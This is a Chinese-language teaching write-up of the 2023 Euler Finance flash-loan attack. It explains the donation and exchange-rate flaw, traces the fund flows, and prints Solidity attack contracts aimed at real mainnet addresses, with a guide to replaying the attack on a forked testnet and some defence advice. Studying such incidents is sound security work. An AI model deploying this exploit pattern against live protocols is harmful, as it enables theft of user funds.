Euler Finance闪电贷攻击分析复现
字数 1856 2025-08-18 11:36:53

Euler Finance闪电贷攻击分析与复现教学文档

1. 事件概述

2023年3月,Euler Finance遭受闪电贷攻击,损失约1.97亿美元。攻击者利用协议中的清算逻辑漏洞,通过精心设计的攻击路径实现了巨额获利。

2. 攻击基本信息

3. 漏洞原理分析

3.1 核心漏洞

攻击利用了Euler Finance协议中的捐赠机制导致转换率计算错误的问题。具体来说:

  1. 攻击者通过捐赠大量eDAI扭曲了兑换率
  2. 这使得清算逻辑计算出现错误
  3. 攻击者能够以极低成本清算自己的头寸

3.2 关键点

  • 捐赠机制:攻击者向储备金捐赠大量eDAI,人为操纵了兑换率
  • 清算逻辑缺陷:协议未能正确处理捐赠后的资产价值计算
  • 自清算:攻击者创建两个账户互相清算,利用扭曲的兑换率获利

4. 攻击详细步骤

4.1 攻击流程

  1. 闪电贷准备

    • 通过Aave V2闪电贷借贷3000万DAI
  2. 账户设置

    • 创建两个账户:0x583c(借款人)和0xa0b3(清算人)
    • 向借款人转账3000万DAI
  3. 存款操作

    • 借款人存入2000万DAI
    • 铸币1.95亿eDAI/2亿dDAI
  4. 还款操作

    • 借款人偿还1000万DAI,dDAI余额减少1000万
    • 再次发行1.95亿eDAI/2亿dDAI
  5. 捐赠操纵

    • 借款人捐赠1亿eDAI扭曲兑换率
  6. 清算操作

    • 清算人清算借款人,获得3.1亿eDAI
    • 从eDAI撤回3890万DAI
  7. 还款获利

    • 偿还闪电贷
    • 最终获利约887万DAI

4.2 资金流向分析

Address                        Change In Value
0xA0b3ee897f233F385E5D61086c  277,068,339.8872 USD
0xeBC29199C817Dc47BA12E3F8610  9,779,854.7674 USD
Aave: aDAI Token V2            26,703.0000 USD
0x464C71f6c2F760DdA6093dCB91C  0.0366 USD
0x583c21631c48D442B5C0E605d6  0.0000 USD
Euler                          -8,806,557.7674 USD
0x00000000000000000000000000  -277,068,339.9238 USD

5. 攻击代码分析

5.1 主合约结构

contract Main {
    DAI dai = DAI(0x6B175474E89094C44Da98b954EedeAC495271d0F);
    Euler euler = Euler(0x27182842E098f60e3D576794A5bFFb0777E025d3);
    AAVE aave = AAVE(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);
    address owner;
    address[] tokens;
    uint256[] nums1;
    uint256[] nums2;
    
    function excuteHack() public {
        tokens.push(address(dai));
        nums1.push(30000000000000000000000000); // 3000万DAI
        nums2.push(0);
        aave.flashLoan(address(this), tokens, nums1, nums2, address(this), hex"", 0);
    }
    
    // 闪电贷回调函数
    function executeOperation(
        address[] calldata assets,
        uint256[] calldata amounts,
        uint256[] calldata premiums,
        address initiator,
        bytes calldata params
    ) external returns (bool) {
        LendContract lendcontract = new LendContract(address(this));
        dai.approve(address(aave), type(uint256).max);
        dai.transfer(address(lendcontract), nums1[0]);
        lendcontract.exp();
        return true;
    }
}

5.2 借贷合约攻击逻辑

function exp() public {
    liquidationContract liquidation_C = new liquidationContract(address(this), mainContractAddress);
    dai.balanceOf(address(this));
    dai.approve(address(euler), type(uint256).max);
    
    // 存款2000万DAI
    edai.deposit(0, 20000000000000000000000000);
    
    // 铸币2亿dDAI
    edai.mint(0, 200000000000000000000000000);
    
    // 偿还1000万DAI
    ddai.repay(0, 10000000000000000000000000);
    
    // 再次铸币2亿dDAI
    edai.mint(0, 200000000000000000000000000);
    
    // 捐赠1亿eDAI扭曲兑换率
    edai.donateToReserves(0, 100000000000000000000000000);
    
    // 执行清算
    liquidation_C.exp();
}

5.3 清算合约逻辑

function exp() public {
    PROXY.LiquidationOpportunity memory s = PROXY.LiquidationOpportunity({
        repay: 0,
        yield: 0,
        healthScore: 0,
        baseDiscount: 0,
        discount: 0,
        conversionRate: 0
    });
    
    // 检查清算机会
    s = proxy.checkLiquidation(address(this), lendcontractAddress, address(dai), address(dai));
    
    // 执行清算
    proxy.liquidate(lendcontractAddress, address(dai), address(dai), s.repay, 250000000000000000000000000);
    
    // 提取3890万DAI
    edai.withdraw(0, 38900000000000000000000000);
    
    // 转回主合约
    dai.transfer(address(MainAddress), 38900000000000000000000000);
}

6. 本地复现指南

6.1 环境准备

  1. 分叉主网

    • 使用BuildBear创建从区块16817993分叉的私有测试网
    • Home - BuildBear
  2. 获取测试币

6.2 部署与执行

  1. 编译合约

  2. 部署合约

    • 在私有测试网上部署攻击合约
    • 示例部署地址:0x7D503BFB8c5D3645145093A2df82aB66a0fCEce9
  3. 执行攻击

  4. 提取利润

6.3 预期结果

  • 攻击完成后应获得约887万DAI利润
  • DAI合约地址:0x6B175474E89094C44Da98b954EedeAC495271d0F

7. 防御建议

  1. 捐赠机制改进

    • 限制捐赠对兑换率的影响
    • 添加捐赠冷却期或上限
  2. 清算逻辑加固

    • 增加清算前的健康检查
    • 防止自清算攻击
  3. 监控机制

    • 监控大额捐赠行为
    • 设置异常兑换率警报
  4. 测试覆盖

    • 增加对极端情况的测试用例
    • 特别是涉及捐赠和清算的组合操作

8. 参考资料

  1. PeckShield攻击分析:Twitter Thread
  2. Euler Finance官方回应:Twitter
  3. 完整攻击分析:BuildBear Labs
  4. 相关新闻报道:Cointelegraph

9. 总结

Euler Finance闪电贷攻击展示了DeFi协议中清算机制设计的重要性。攻击者通过精心设计的捐赠和自清算操作,利用协议中的兑换率计算漏洞实现了巨额获利。此事件强调了DeFi协议需要全面考虑各种极端情况,特别是涉及多个功能交互的场景。

Euler Finance闪电贷攻击分析与复现教学文档 1. 事件概述 2023年3月,Euler Finance遭受闪电贷攻击,损失约1.97亿美元。攻击者利用协议中的清算逻辑漏洞,通过精心设计的攻击路径实现了巨额获利。 2. 攻击基本信息 消息来源 :PeckShield Inc.在Twitter上的报告 攻击交易 : 0xc310a0affe2169d1f6feec1c63dbc7f7c62a887fa48795d327d4d2da2d6b111d 合约地址 :0x27182842E098f60e3D576794A5bFFb0777E025d3 ABI获取 : api.etherscan.io/api?module=contract&action=getabi&address=0x27182842E098f60e3D576794A5bFFb0777E025d3&format=raw 3. 漏洞原理分析 3.1 核心漏洞 攻击利用了Euler Finance协议中的 捐赠机制导致转换率计算错误 的问题。具体来说: 攻击者通过捐赠大量eDAI扭曲了兑换率 这使得清算逻辑计算出现错误 攻击者能够以极低成本清算自己的头寸 3.2 关键点 捐赠机制 :攻击者向储备金捐赠大量eDAI,人为操纵了兑换率 清算逻辑缺陷 :协议未能正确处理捐赠后的资产价值计算 自清算 :攻击者创建两个账户互相清算,利用扭曲的兑换率获利 4. 攻击详细步骤 4.1 攻击流程 闪电贷准备 : 通过Aave V2闪电贷借贷3000万DAI 账户设置 : 创建两个账户:0x583c(借款人)和0xa0b3(清算人) 向借款人转账3000万DAI 存款操作 : 借款人存入2000万DAI 铸币1.95亿eDAI/2亿dDAI 还款操作 : 借款人偿还1000万DAI,dDAI余额减少1000万 再次发行1.95亿eDAI/2亿dDAI 捐赠操纵 : 借款人捐赠1亿eDAI扭曲兑换率 清算操作 : 清算人清算借款人,获得3.1亿eDAI 从eDAI撤回3890万DAI 还款获利 : 偿还闪电贷 最终获利约887万DAI 4.2 资金流向分析 5. 攻击代码分析 5.1 主合约结构 5.2 借贷合约攻击逻辑 5.3 清算合约逻辑 6. 本地复现指南 6.1 环境准备 分叉主网 : 使用BuildBear创建从区块16817993分叉的私有测试网 Home - BuildBear 获取测试币 : 通过水龙头获取BB测试币 示例水龙头: Faucet - BuildBear 6.2 部署与执行 编译合约 : 使用Remix编译攻击合约 完整代码: EulerHack.sol 部署合约 : 在私有测试网上部署攻击合约 示例部署地址:0x7D503BFB8c5D3645145093A2df82aB66a0fCEce9 执行攻击 : 调用 excuteHack() 函数启动攻击流程 交易示例: 0xb2265424ab09523af2ea083af6479b954ddcbd61311f1221770f9082b9b3ea9d 提取利润 : 调用 getdai() 函数提取获利 交易示例: 0x7133db82d0215a7a14cde775d5b5268c65de0c1de58dc6a86ac5c21194b1503f 6.3 预期结果 攻击完成后应获得约887万DAI利润 DAI合约地址:0x6B175474E89094C44Da98b954EedeAC495271d0F 7. 防御建议 捐赠机制改进 : 限制捐赠对兑换率的影响 添加捐赠冷却期或上限 清算逻辑加固 : 增加清算前的健康检查 防止自清算攻击 监控机制 : 监控大额捐赠行为 设置异常兑换率警报 测试覆盖 : 增加对极端情况的测试用例 特别是涉及捐赠和清算的组合操作 8. 参考资料 PeckShield攻击分析: Twitter Thread Euler Finance官方回应: Twitter 完整攻击分析: BuildBear Labs 相关新闻报道: Cointelegraph 9. 总结 Euler Finance闪电贷攻击展示了DeFi协议中清算机制设计的重要性。攻击者通过精心设计的捐赠和自清算操作,利用协议中的兑换率计算漏洞实现了巨额获利。此事件强调了DeFi协议需要全面考虑各种极端情况,特别是涉及多个功能交互的场景。